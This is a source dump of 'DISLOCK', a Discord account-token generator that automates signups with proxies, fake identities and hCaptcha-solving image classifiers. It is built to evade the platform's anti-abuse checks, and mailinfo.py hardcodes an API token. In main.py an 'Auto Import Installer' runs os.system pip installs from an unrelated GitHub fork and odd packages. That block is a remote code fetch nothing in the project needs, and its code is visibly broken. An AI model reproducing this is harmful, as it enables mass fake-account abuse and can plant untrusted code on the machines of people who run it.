171 | label_to_i18ndict = data.get("label_alias", {})
172 | if not label_to_i18ndict:
173 | return
174 |
175 | for model_label, i18n_to_raw_labels in label_to_i18ndict.items():
176 | self.fingers.append(model_label)
177 | for lang, prompt_labels in i18n_to_raw_labels.items():
178 | for prompt_label in prompt_labels:
179 | self.label_alias[lang].update({prompt_label.strip(): model_label})
180 |
181 | def summon(self, dir_model, path_rainbow=None, upgrade=None):
182 | """
183 | Download ONNX models from upstream repositories,
184 | skipping installed model files by default.
185 |
186 | :type dir_model: str
187 | :type path_rainbow: str | None
188 | :type upgrade: bool | None
189 | :rtype: None
190 | """
191 | for finger in self.fingers:
192 | FingersOfTheGolderOrder(finger, dir_model, path_rainbow).download_model(upgrade)
193 |
194 | def overload(self, dir_model, path_rainbow=None):
195 | """
196 | Load the ONNX model into memory.
197 | Executed before the task starts.
198 |
199 | :type dir_model: str
200 | :type path_rainbow: str | None
201 | :rtype: Dict[str, FingersOfTheGolderOrder]
202 | """
203 | return {
204 | finger: FingersOfTheGolderOrder(finger, dir_model, path_rainbow)
205 | for finger in self.fingers
206 | }
207 |
208 | def black_knife(self, label_alias, dir_model, path_rainbow=None):
209 | """
210 | Use to summon the spirit of Black Knife Tiche.
211 |
212 | :type label_alias: str
213 | :type dir_model: PathLike[str]
214 | :type path_rainbow: PathLike[str] | None
215 | :rtype: None
216 | """
217 |
218 | def mimic_tear(self):
219 | """
220 | This spirit takes the form of the summoner to fight alongside them,
221 | but its mimicry does not extend to imitating the summoner's will.
222 |
223 | :rtype: None
224 | """
225 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/solutions/sk_recognition.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022-03-01 20:32
3 | # Author : Bingjie Yan
4 | # Github : https://github.com/beiyuouo
5 | # Description:
6 | import time
7 | from typing import Optional
8 |
9 | import cv2
10 | import numpy as np
11 | from skimage import feature
12 | from skimage.future import graph
13 | from skimage.segmentation import slic
14 |
15 | from .kernel import Solutions
16 |
17 |
18 | class SKRecognition(Solutions):
19 | def __init__(self, path_rainbow: Optional[str] = None):
20 | super().__init__("skimage_model", path_rainbow)
21 |
22 | @staticmethod
23 | def _weight_mean_color(graph_, src: int, dst: int, n: int): # noqa
24 | """Callback to handle merging nodes by recomputing mean color.
25 |
26 | The method expects that the mean color of `dst` is already computed.
27 |
28 | Parameters
29 | ----------
30 | graph_ : RAG
31 | The graph under consideration.
32 | src, dst : int
33 | The vertices in `graph` to be merged.
34 | n : int
35 | A neighbor of `src` or `dst` or both.
36 |
37 | Returns
38 | -------
39 | data : dict
40 | A dictionary with the `"weight"` attribute set as the absolute
41 | difference of the mean color between node `dst` and `n`.
42 | """
43 |
44 | diff = graph_.nodes[dst]["mean color"] - graph_.nodes[n]["mean color"]
45 | diff = np.linalg.norm(diff)
46 | return {"weight": diff}
47 |
48 | @staticmethod
49 | def _merge_mean_color(graph_, src: int, dst: int):
50 | """Callback called before merging two nodes of a mean color distance graph.
51 |
52 | This method computes the mean color of `dst`.
53 |
54 | Parameters
55 | ----------
56 | graph_ : RAG
57 | The graph under consideration.
58 | src, dst : int
59 | The vertices in `graph` to be merged.
60 | """
61 | graph_.nodes[dst]["total color"] += graph_.nodes[src]["total color"]
62 | graph_.nodes[dst]["pixel count"] += graph_.nodes[src]["pixel count"]
63 | graph_.nodes[dst]["mean color"] = (
64 | graph_.nodes[dst]["total color"] / graph_.nodes[dst]["pixel count"]
65 | )
66 |
67 | @staticmethod
68 | def _remove_border(img):
69 | img[:, 1] = 0
70 | img[:, -2] = 0
71 | img[1, :] = 0
72 | img[-2, :] = 0
73 | return img
74 |
75 | def solution(self, img_stream, **kwargs) -> bool:
76 | """Implementation process of solution"""
77 | raise NotImplementedError
78 |
79 |
80 | class VerticalRiverRecognition(SKRecognition):
81 | """A fast solution for identifying vertical rivers"""
82 |
83 | def __init__(self, path_rainbow: Optional[str] = None):
84 | super().__init__(path_rainbow=path_rainbow)
85 | self.rainbow_key = "vertical river"
86 |
87 | def solution(self, img_stream, **kwargs) -> bool:
88 | """Implementation process of solution"""
89 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
90 | if match_output is not None:
91 | return match_output
92 |
93 | img_arr = np.frombuffer(img_stream, np.uint8)
94 | img = cv2.imdecode(img_arr, flags=1)
95 |
96 | img = cv2.pyrMeanShiftFiltering(img, sp=10, sr=40)
97 | img = cv2.bilateralFilter(img, d=9, sigmaColor=100, sigmaSpace=75)
98 |
99 | labels = slic(img, compactness=30, n_segments=400, start_label=1)
100 | g = graph.rag_mean_color(img, labels)
101 |
102 | labels2 = graph.merge_hierarchical(
103 | labels,
104 | g,
105 | thresh=35,
106 | rag_copy=False,
107 | in_place_merge=True,
108 | merge_func=self._merge_mean_color,
109 | weight_func=self._weight_mean_color,
110 | )
111 |
112 | return len(np.unique(labels2[-1])) >= 3
113 |
114 |
115 | class LeftPlaneRecognition(SKRecognition):
116 | """A fast solution for identifying `airplane in the sky flying left`"""
117 |
118 | def __init__(self, path_rainbow: Optional[str] = None):
119 | super().__init__(path_rainbow=path_rainbow)
120 | self.sky_threshold = 1800
121 | self.left_threshold = 30
122 | self.rainbow_key = "airplane in the sky flying left"
123 |
124 | def solution(self, img_stream: bytes, **kwargs) -> bool:
125 | """Implementation process of solution"""
126 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
127 | if match_output is not None:
128 | return match_output
129 |
130 | img_arr = np.frombuffer(img_stream, np.uint8)
131 | img = cv2.imdecode(img_arr, flags=1)
132 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
133 |
134 | edges1 = feature.canny(img)
135 | edges1 = self._remove_border(edges1)
136 |
137 | # on the ground
138 | if np.count_nonzero(edges1) > self.sky_threshold:
139 | return False
140 |
141 | min_x = np.min(np.nonzero(edges1), axis=1)[1]
142 | max_x = np.max(np.nonzero(edges1), axis=1)[1]
143 |
144 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)])
145 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x])
146 |
147 | # Flying towards the right
148 | if left_nonzero > right_nonzero:
149 | return False
150 |
151 | time.sleep(0.25)
152 | return True
153 |
154 |
155 | class RightPlaneRecognition(SKRecognition):
156 | def __init__(self, path_rainbow: Optional[str] = None):
157 | super().__init__(path_rainbow=path_rainbow)
158 | self.sky_threshold = 1800
159 | self.left_threshold = 30
160 | self.rainbow_key = "airplanes in the sky that are flying to the right"
161 |
162 | def solution(self, img_stream: bytes, **kwargs) -> bool:
163 | match_output = self.match_rainbow(img_stream, rainbow_key=self.rainbow_key)
164 | if match_output is not None:
165 | return match_output
166 |
167 | img_arr = np.frombuffer(img_stream, np.uint8)
168 | img = cv2.imdecode(img_arr, flags=1)
169 | img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
170 |
171 | edges1 = feature.canny(img)
172 | edges1 = self._remove_border(edges1)
173 |
174 | # On the ground
175 | if np.count_nonzero(edges1) > self.sky_threshold:
176 | return False
177 |
178 | min_x = np.min(np.nonzero(edges1), axis=1)[1]
179 | max_x = np.max(np.nonzero(edges1), axis=1)[1]
180 |
181 | left_nonzero = np.count_nonzero(edges1[:, min_x : min(max_x, min_x + self.left_threshold)])
182 | right_nonzero = np.count_nonzero(edges1[:, max(min_x, max_x - self.left_threshold) : max_x])
183 |
184 | # Flying towards the left
185 | if left_nonzero < right_nonzero:
186 | return False
187 |
188 | time.sleep(0.15)
189 | return True
190 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/solutions/yolo.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/3/2 0:52
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import os
7 |
8 | import cv2
9 | import numpy as np
10 |
11 | from .kernel import ChallengeStyle
12 | from .kernel import Solutions
13 |
14 |
15 | class YOLO:
16 | """YOLO model for image classification"""
17 |
18 | classes = [
19 | "person",
20 | "bicycle",
21 | "car",
22 | "motorcycle",
23 | "airplane",
24 | "bus",
25 | "train",
26 | "truck",
27 | "boat",
28 | "traffic light",
29 | "fire hydrant",
30 | "stop sign",
31 | "parking meter",
32 | "bench",
33 | "bird",
34 | "cat",
35 | "dog",
36 | "horse",
37 | "sheep",
38 | "cow",
39 | "elephant",
40 | "bear",
41 | "zebra",
42 | "giraffe",
43 | "backpack",
44 | "umbrella",
45 | "handbag",
46 | "tie",
47 | "suitcase",
48 | "frisbee",
49 | "skis",
50 | "snowboard",
51 | "sports ball",
52 | "kite",
53 | "baseball bat",
54 | "baseball glove",
55 | "skateboard",
56 | "surfboard",
57 | "tennis racket",
58 | "bottle",
59 | "wine glass",
60 | "cup",
61 | "fork",
62 | "knife",
63 | "spoon",
64 | "bowl",
65 | "banana",
66 | "apple",
67 | "sandwich",
68 | "orange",
69 | "broccoli",
70 | "carrot",
71 | "hot dog",
72 | "pizza",
73 | "donut",
74 | "cake",
75 | "chair",
76 | "couch",
77 | "potted plant",
78 | "bed",
79 | "dining table",
80 | "toilet",
81 | "tv",
82 | "laptop",
83 | "mouse",
84 | "remote",
85 | "keyboard",
86 | "cell phone",
87 | "microwave",
88 | "oven",
89 | "toaster",
90 | "sink",
91 | "refrigerator",
92 | "book",
93 | "clock",
94 | "vase",
95 | "scissors",
96 | "teddy bear",
97 | "hair drier",
98 | "toothbrush",
99 | ]
100 |
101 | def __init__(self, dir_model: str = None, onnx_prefix: str = None):
102 | self.dir_model = "./model" if dir_model is None else dir_model
103 |
104 | # Select default onnx model.
105 | self.onnx_prefix = (
106 | "yolov5s6"
107 | if onnx_prefix
108 | not in [
109 | # Reference - Ultralytics YOLOv5 https://github.com/ultralytics/yolov5
110 | "yolov5m6",
111 | "yolov5s6",
112 | "yolov5n6",
113 | # Reference - MT-YOLOv6 https://github.com/meituan/YOLOv6
114 | "yolov6n",
115 | "yolov6s",
116 | "yolov6t",
117 | # "yolov7" # Vision Transformer
118 | ]
119 | else onnx_prefix
120 | )
121 |
122 | self.name = f"YOLOv5{self.onnx_prefix[-2:]}"
123 | if self.onnx_prefix.startswith("yolov6"):
124 | self.name = f"MT-YOLOv6{self.onnx_prefix[-1]}"
125 |
126 | self.onnx_model = {
127 | "name": f"{self.name}(ONNX)_model",
128 | "path": os.path.join(self.dir_model, f"{self.onnx_prefix}.onnx"),
129 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{self.onnx_prefix}.onnx",
130 | }
131 |
132 | self.flag = self.onnx_model["name"]
133 |
134 | self.download_model()
135 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"])
136 |
137 | def download_model(self):
138 | """Download YOLOv5(ONNX) model"""
139 | Solutions.download_model_(
140 | dir_model=self.dir_model,
141 | path_model=self.onnx_model["path"],
142 | model_src=self.onnx_model["src"],
143 | model_name=self.onnx_model["name"],
144 | upgrade=False,
145 | )
146 |
147 | def detect_common_objects(self, img: np.ndarray, confidence=0.4, nms_thresh=0.4):
148 | """
149 | Object Detection
150 |
151 | Get multiple labels identified in a given image
152 |
153 | :param img:
154 | :param confidence:
155 | :param nms_thresh:
156 | :return: bbox, label, conf
157 | """
158 | height, width = img.shape[:2]
159 |
160 | class_ids = []
161 | confidences = []
162 | boxes = []
163 |
164 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (128, 128), (0, 0, 0), swapRB=True, crop=False)
165 |
166 | self.net.setInput(blob)
167 | outs = self.net.forward()
168 |
169 | for out in outs:
170 | for detection in out:
171 | scores = detection[5:]
172 | class_id = np.argmax(scores)
173 | max_conf = scores[class_id]
174 | if max_conf > confidence:
175 | center_x = int(detection[0] * width)
176 | center_y = int(detection[1] * height)
177 | w = int(detection[2] * width)
178 | h = int(detection[3] * height)
179 | x = center_x - (w / 2)
180 | y = center_y - (h / 2)
181 | class_ids.append(class_id)
182 | confidences.append(float(max_conf))
183 | boxes.append([x, y, w, h])
184 |
185 | indices = cv2.dnn.NMSBoxes(boxes, confidences, confidence, nms_thresh)
186 |
187 | return [str(self.classes[class_ids[i]]) for i in indices]
188 |
189 | def solution(self, img_stream: bytes, label: str, **kwargs) -> bool:
190 | """
191 | Implementation process of solution.
192 |
193 | with open(img_filepath, "rb") as file:
194 | data = file.read()
195 | solution(img_stream=data, label="truck")
196 |
197 | :param img_stream: image file binary stream
198 | :param label:
199 | :param kwargs:
200 | :return:
201 | """
202 | confidence = kwargs.get("confidence", 0.4)
203 | nms_thresh = kwargs.get("nms_thresh", 0.4)
204 |
205 | np_array = np.frombuffer(img_stream, np.uint8)
206 | img = cv2.imdecode(np_array, flags=1)
207 | img = (
208 | cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21)
209 | if img.shape[0] == ChallengeStyle.WATERMARK
210 | else img
211 | )
212 | try:
213 | labels = self.detect_common_objects(img, confidence, nms_thresh)
214 | return bool(label in labels)
215 | # patch for `ValueError: attempt to get argmax of an empty sequence.`
216 | # at code `class_id=np.argmax(scores)`
217 | except ValueError:
218 | return False
219 |
--------------------------------------------------------------------------------
/Version 1/mailinfo.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import json
3 | import random
4 | import string
5 |
6 | class MailInfo:
7 | global DOMAINS
8 | global DOMAIN
9 | global TOKEN
10 |
11 | with open("config.json", "r") as conf: config = json.load(conf)
12 | DOMAINS = config["EMAIL STUFF"]["CUSTOM DOMAINS"]
13 | DOMAIN = random.choice(DOMAINS)
14 | TOKEN = "qgk2auEHq94bq5w8s_Fk78Iyt3xJrs9U7ESND5SHWbo"
15 |
16 | def generateInbox(rush=False):
17 | CHARS = string.ascii_letters + string.digits
18 | ALIAS = "".join(random.choice(CHARS) for _ in range(11))
19 | EMAIL = f"{ALIAS}@{DOMAIN}"
20 | return Inbox(EMAIL, TOKEN)
21 |
22 | """
23 | getEmail gets the emails from an inbox object
24 | and returns a list of Email objects
25 | """
26 |
27 | def getEmails(inbox):
28 | s = TempMail.makeHTTPRequest(f"/custom/{TOKEN}/{DOMAIN}")
29 | data = json.loads(s)
30 |
31 | # if no emails are found, return an empty list
32 | # else return a list of email
33 | if data["email"] == None:
34 | return ["None"]
35 | else:
36 | emails = []
37 | for email in data["email"]:
38 | emails.append(Email(email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"]))
39 | return emails
40 |
41 |
42 | class Email:
43 | def __init__(self, sender, recipient, subject, body, html, date):
44 | # make the propertys immutable using @property
45 | self._sender = sender
46 | self._recipient = recipient
47 | self._subject = subject
48 | self._body = body
49 | self._html = html
50 | self._date = date
51 |
52 | @property
53 | def sender(self):
54 | return self._sender
55 |
56 | @property
57 | def recipient(self):
58 | return self._recipient
59 |
60 | @property
61 | def subject(self):
62 | return self._subject
63 |
64 | @property
65 | def body(self):
66 | return self._body
67 |
68 | @property
69 | def html(self):
70 | return self._html
71 |
72 | @property
73 | def date(self):
74 | return self._date
75 |
76 | def __repr__(self):
77 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )".format(self.sender, self.recipient, self.subject, self.body, self.html, self.date))
78 |
79 |
80 | class Inbox:
81 | def __init__(self, address, token):
82 | # make the propertys immutable using @property
83 | self._address = address
84 | self._token = token
85 |
86 | @property
87 | def address(self):
88 | return self._address
89 |
90 | @property
91 | def token(self):
92 | return self._token
93 |
94 | def __repr__(self):
95 | return ("Inbox (address={}, token={} )".format(self.address, self.token))
96 |
--------------------------------------------------------------------------------
/Version 1/requirements.txt:
--------------------------------------------------------------------------------
1 | httpx~=0.23.0
2 | playwright~=1.22.0
3 | playwright-stealth~=1.0.5
4 | numpy>=1.22
5 | scipy~=1.7.3
6 | random-user-agent~=1.0.1
7 | discum~=1.4.1
8 | tempmail-lol~=1.1.0
9 | validators
10 |
11 | # AI Requirements
12 | pyyaml~=6.0
13 | scikit-image~=0.19.2
14 | opencv-python~=4.5.5.62
15 |
--------------------------------------------------------------------------------
/Version 2.3/README.md:
--------------------------------------------------------------------------------
1 | # DISLOCK v2.3
2 |
3 | DISLOCK is the most advanced Discord Browser Generator.
4 |
5 | It is capable of generating Unlocked Tokens for free by Using AI.
6 | DISLOCK is currently undetected by Discord because its Human Emulation.
7 |
8 | You will have to use HQ Proxies/IPs to get unlocked tokens.
9 |
10 | ## Features
11 |
12 | - TokenGenerator on discord.com [Almost always Unlocked]
13 | - TokenGenerator on discord.com/register [Mostly Unlocked]
14 | - Captcha Tester on hcaptcha.com
15 |
16 | ## Demo Videos
17 |
18 | ### Unclaimed Generator
19 | https://streamable.com/4wvhdw
20 |
21 | ### Normal Generator
22 | https://streamable.com/w9l2fz
23 |
24 | ## Proxies
25 |
26 | You will have to use HQ Proxies/IPs to get Unlocked Tokens.
27 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs.
28 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice.
29 |
30 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D)
31 |
32 | ## Botright
33 |
34 | This bot uses Botright, my Browser Automation Package. You can check it out [here](https://github.com/Vinyzu/Botright).
35 |
36 | I would appreciate a star on this project aswell and hope that youll have fun creating your own bots with it!
37 |
38 |
39 | ## Installation
40 |
41 | ### Installing DISLOCK with Python
42 |
43 | ```bash
44 | git clone https://github.com/Vinyzu/DiscordGenerator DISLOCK
45 | cd DISLOCK
46 | pip install -r requirements.txt
47 | playwright install
48 | python main.py
49 | ```
50 |
51 | ### Further Requirements
52 |
53 | - Windows
54 |
55 | - [Git](https://git-scm.com/downloads) (To install DISLOCK)
56 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK)
57 |
58 | ## Using
59 |
60 | Type | Recommended Usage |
61 | :------- | :------------------------- |
62 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way |
63 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens |
64 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com |
65 |
66 | ##### Usages will be updated when Discord fixxes Modes
67 |
68 | ## Contributing
69 |
70 | Contributions are always welcome!
71 |
72 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started.
73 |
74 |
75 | ## To the Skids
76 |
77 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d.
78 |
79 | ## Copyright and License
80 | © [Vinyzu](https://github.com/Vinyzu/)
81 |
82 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/)
83 |
84 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty)
85 |
86 | ## Authors
87 |
88 | - [@Vinyzu](https://github.com/Vinyzu)
89 |
90 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.`
91 |
92 |
93 |
94 | [](https://discord.gg/rpd4gzrqGN)
95 | [](https://discordapp.com/users/935224495126487150)
96 | [](https://ko-fi.com/vinyzu)
97 |
98 |
99 | ## Thanks to
100 |
101 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.)
102 |
103 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing)
104 |
105 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies)
106 |
107 |
108 | 
109 | 
110 | 
111 | 
112 |
--------------------------------------------------------------------------------
/Version 2.3/changelog.md:
--------------------------------------------------------------------------------
1 | # Changelog
2 |
3 | Every new change will be logged
4 |
5 | ## v2.3
6 | ```
7 | + Closing PopUps after Generation
8 | + Better ErrorHandling
9 | ```
10 |
11 | ## v2.2
12 | ```
13 | + Fixxed Bug causing /register Gen not clicking Tos-Checkbox
14 | + Updated Email Claiming to be manual (not request)
15 | ```
16 |
17 | ## v2.1
18 | ```
19 | + Changed Checkbox Locator
20 | + Uodated LockCheck to work now
21 | + More LockChecking in EmailVerifier
22 | + More Sleeping whilst verifying Mail
23 | ```
24 |
25 | ## v2.0
26 | ```
27 | + Using Botright now
28 | + Updated Joiner and Humanization to be undetected
29 | + More small changes
30 | ```
31 |
32 | ## v1.0.6
33 | ```
34 | + Updated AI to support newest Tasks
35 | + Updated Avatar Function (should work now ig lol)
36 | + New IP-API (hopefully will fix ProxyIssues)
37 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable)
38 |
39 | + Updated InviteLink in ReadMe
40 |
41 | ```
42 |
43 | ## v1.0.5
44 | ```
45 | + Fixxed To Low Password Security
46 | + Fixxed self.person error
47 | + Changed IP Provider (Hopefully Fixxes Proxy Errors)
48 | + Rewrote ProxyCheck Invalid Error
49 |
50 | ```
51 |
52 | ## v1.0.4
53 | ```
54 | + Tokens will now be saved even when the gen crashes
55 | + OutputFormat can now be set
56 | + Passwords now dont have ":" in them anymore (Messed up output format)
57 | + Delete verify=False in requests (caused warnings)
58 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled.
59 |
60 | ```
61 |
62 | ## v1.0.3
63 | ```
64 | + Raised Timeouts to allow slow proxies to work properly
65 | + Changed usage of TempmailAPI from package to local file
66 | + Updated AI to check images three times for any valid images
67 | + Replaced Httpx with Requests
68 |
69 | ```
70 |
71 | ## v1.0.2
72 | ```
73 | + Updated Model Downloader (httpx doesnt work)
74 | --> Now, Models dont have to be given in the repo
75 | + Updated Proxy Class (Splitter) and general proxy-object handling
76 |
77 | ```
78 |
79 | ## v1.0.1
80 | ```
81 | + Updated various Proxy Handlers
82 | + Updated MailVerifier to wait until the new token is received
83 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point
84 | + Updated DISCUM Client to reduce code amount and allow proxies to work
85 |
86 | ```
87 |
88 | ## v1.0
89 | ```
90 | + First Commit
91 | ```
--------------------------------------------------------------------------------
/Version 2.3/contributing.md:
--------------------------------------------------------------------------------
1 | Contributing
2 | ============
3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request.
4 |
5 | ### How to make a clean pull request
6 |
7 | Look for a project's contribution instructions. If there are any, follow them.
8 |
9 | - Create a personal fork of the project on Github.
10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`.
11 | - Add the original repository as a remote called `upstream`.
12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository.
13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`.
14 | - Implement/fix your feature, comment your code.
15 | - Follow the code style of the project, including indentation.
16 | - If the project has tests run them!
17 | - Write or adapt tests as needed.
18 | - Add or change the documentation as needed.
19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary.
20 | - Push your branch to your fork on Github, the remote `origin`.
21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`!
22 | - …
23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically.
24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete
25 | your extra branch(es).
26 |
27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code.
28 |
29 | `Source: https://github.com/MarcDiethelm/contributing`
--------------------------------------------------------------------------------
/Version 2.3/main.py:
--------------------------------------------------------------------------------
1 | # PreInstalled PyPackages
2 | import asyncio
3 | import logging
4 | import os
5 | import random
6 | import traceback
7 |
8 | # Pip Install Packages
9 | import botright
10 | import httpx
11 | import validators
12 |
13 |
14 | # Auto Import Installer
15 | try:
16 | import botright, threading, random, time, sys
17 | self.logger.info("Imports successful!")
18 | time.sleep(1)
19 |
20 | except:
21 | self.logger.info("\nImports failed! Trying to install...")
22 | z = "python -m pip install "; os.system("%sgit+`'https://github.com/FuckingToasters/Botright'" % (z)); os.system('%shttpx' % (z)); os.system('%svalidators=0.20.0' % (z)); os.system('%sthreading' % (z)); os.system('%sos-sys' % (z)))
23 | print(f"\n{Fore.MAGENTA}[{Fore.RESET}!{Fore.MAGENTA}] {Fore.RESET}Imports successful!")
24 | time.sleep(1)
25 |
26 | # Imports from Files
27 | from modules.discord import Discord
28 | from modules.tempmail import TempMail
29 |
30 | class Generator:
31 | async def initialize(self, botright_client, proxy, mode=None, output_file="output.txt", email=True, humanize=True, output_format="token:email:pass", invite_link=""):
32 | # Initializing the Thread
33 | self.output_file, self.output_format = output_file, output_format
34 | self.email_verification, self.humanize, self.invite_link = email, humanize, invite_link
35 | self.token, self.email, self.output = "", "", ""
36 | # SettingUp Logger
37 | logging.basicConfig(
38 | format='\033[34m[%(levelname)s] - \033[94mLine %(lineno)s - \033[36m%(funcName)s() - \033[96m%(message)s\033[0m')
39 | self.logger = logging.getLogger('logger')
40 | self.logger.setLevel(logging.DEBUG)
41 |
42 | # Initializing Browser and Page
43 | self.browser = await botright_client.new_browser(proxy)
44 | self.logger.info("Spawned Browser successfully")
45 |
46 | self.page = await self.browser.new_page()
47 |
48 | if mode == 1:
49 | await self.generate_unclaimed()
50 | elif mode == 2:
51 | await self.generate_token()
52 | elif mode == 3:
53 | await self.check_captcha()
54 | return
55 |
56 | # Helper Functions
57 | async def log_token(self):
58 | async def check_json(route, request):
59 | await route.continue_()
60 | try:
61 | response = await request.response()
62 | await response.finished()
63 | json = await response.json()
64 | if json.get("token"):
65 | self.token = json.get("token")
66 | except Exception:
67 | pass
68 |
69 | await self.page.route("https://discord.com/api/**", check_json)
70 |
71 | def log_output(self):
72 | output = ""
73 | for item in self.output_format.split(":"):
74 | if "token" in item and self.token:
75 | output += self.token + ":"
76 | if "email" in item and self.email:
77 | output += self.email + ":"
78 | if "pass" in item:
79 | output += self.browser.faker.password + ":"
80 | if "proxy" in item and self.browser.proxy:
81 | output += self.browser.proxy + ":"
82 |
83 | # Remove last :
84 | output = output[:-1]
85 | self.output = output
86 |
87 | async def close(self):
88 | try:
89 | await self.page.close()
90 | except:
91 | pass
92 | try:
93 | await self.browser.close()
94 | except:
95 | pass
96 |
97 | # Main Functions
98 | async def generate_unclaimed(self):
99 | try:
100 | # Going on Discord Register Site
101 | try:
102 | await self.page.goto("https://discord.com/")
103 | except:
104 | self.logger.error("Site didn´t load")
105 | await self.close()
106 | return False
107 | # Setting Up TokenLog
108 | await self.log_token()
109 | # Click Open InBrowser Button
110 | await self.page.click('[class *= "gtm-click-class-open-button"]')
111 | # Typing Username
112 | await self.page.type('[class *= "username"]', self.browser.faker.username)
113 | # Clicking Tos and Submit Button
114 | try:
115 | await self.page.click("[class *= 'checkbox']", timeout=10000)
116 | except Exception as e:
117 | self.logger.debug("No TOS Checkbox was detected")
118 | pass
119 | await self.page.click('[class *= "gtm-click-class-register-button"]')
120 |
121 | # Solving Captcha
122 | await self.page.solve_hcaptcha()
123 |
124 | while not self.token:
125 | await self.page.wait_for_timeout(2000)
126 |
127 | self.logger.info(f"Generated Token: {self.token}")
128 | await self.page.wait_for_timeout(2000)
129 |
130 | is_locked = await Discord.is_locked(self)
131 | if is_locked:
132 | self.logger.error(f"Token {self.token} is locked!")
133 | await self.close()
134 | return
135 | else:
136 | self.logger.info(f"Token: {self.token} is unlocked! Flags: {self.flags}")
137 |
138 | self.log_output()
139 |
140 | await self.page.wait_for_timeout(3000)
141 | try:
142 | await self.page.type('[id="react-select-2-input"]', self.browser.faker.birth_day)
143 | await self.page.keyboard.press("Enter")
144 | await self.page.type('[id="react-select-3-input"]', self.browser.faker.birth_month)
145 | await self.page.keyboard.press("Enter")
146 | await self.page.type('[id="react-select-4-input"]', self.browser.faker.birth_year)
147 | await self.page.keyboard.press("Enter")
148 | await self.page.wait_for_timeout(1000)
149 | await self.page.keyboard.press("Enter")
150 | except:
151 | pass
152 |
153 | # Closing PopUps
154 | for _ in range(2):
155 | try:
156 | await self.page.click("[class *= 'closeButton']", timeout=5000)
157 | except:
158 | pass
159 |
160 | if self.email_verification:
161 | self.inbox = TempMail.generateInbox()
162 | self.logger.info("Claiming Account...")
163 | await Discord.set_email(self, self.inbox.address)
164 |
165 | await self.page.wait_for_timeout(2000)
166 |
167 | self.logger.info("Verifying email...")
168 | await Discord.confirm_email(self)
169 |
170 | self.log_output()
171 |
172 | await self.page.wait_for_timeout(2000)
173 |
174 | if self.humanize:
175 | await Discord.humanize_token(self)
176 |
177 | await self.page.wait_for_timeout(2000)
178 |
179 | if self.invite_link:
180 | await Discord.join_server(self)
181 |
182 | self.log_output()
183 | with open(self.output_file, 'a') as file:
184 | file.write(f"{self.output}\n")
185 |
186 | self.logger.info("Successfully Generated Account! Closing Browser...")
187 |
188 | await self.close()
189 |
190 | # Catch Exceptions and save output anyways
191 | except:
192 | self.logger.error(f"Catched Exception, trying to save Token anyways... \n Error: \n {traceback.format_exc()}")
193 | if self.output:
194 | with open(self.output_file, 'a') as file:
195 | file.write(f"{self.output}\n")
196 |
197 | async def generate_token(self):
198 | try:
199 | # Going on Discord Register Site
200 | try:
201 | await self.page.goto("https://discord.com/register")
202 | except:
203 | self.logger.error("Site didn´t load")
204 | await self.close()
205 | return False
206 | # Setting Up TokenLog
207 | await self.log_token()
208 | # Typing Email, Username, Password
209 | self.email = f"{self.browser.faker.username}{random.randint(10, 99)}@gmail.com"
210 |
211 | if self.email_verification:
212 | self.inbox = TempMail.generateInbox()
213 | self.email = self.inbox.address
214 | await self.page.type('[name="email"]', self.email)
